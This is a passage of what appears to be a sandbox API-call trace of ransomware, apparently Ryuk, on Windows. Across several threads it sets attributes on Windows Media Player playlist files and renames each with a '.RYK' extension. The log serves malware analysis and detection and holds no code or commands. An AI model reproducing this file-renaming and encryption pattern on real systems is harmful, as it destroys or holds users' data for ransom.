	[0283.778] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.778] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3988
	os_tid = 0x43e8

	[0283.779] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0283.779] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.779] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3989
	os_tid = 0x43ec

	[0283.780] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0283.780] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.781] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3990
	os_tid = 0x43f0

	[0283.782] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0283.782] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.782] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3991
	os_tid = 0x43f4

	[0283.783] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl", dwFileAttributes=0x80) returned 0
	[0283.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.783] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3992
	os_tid = 0x43f8

	[0284.042] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0284.043] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.043] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.043] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3993
	os_tid = 0x43fc

	[0284.044] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl", dwFileAttributes=0x80) returned 0
	[0284.044] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.044] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.044] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3994
	os_tid = 0x3fa0

	[0284.045] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl", dwFileAttributes=0x80) returned 0
	[0284.045] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.045] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3995
	os_tid = 0x3e70

	[0284.046] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl", dwFileAttributes=0x80) returned 0
	[0284.046] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.047] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3996
	os_tid = 0x4058

	[0284.048] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl", dwFileAttributes=0x80) returned 0
	[0284.048] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.048] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.048] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3997
	os_tid = 0x4130

	[0284.049] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0284.049] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.049] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.049] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3998
	os_tid = 0x40a4

	[0284.050] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0284.050] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.050] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.050] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3999
	os_tid = 0x3c04

	[0284.051] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0284.052] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.052] CloseHandle (hObject=0xffffffffffffffff) returned 0
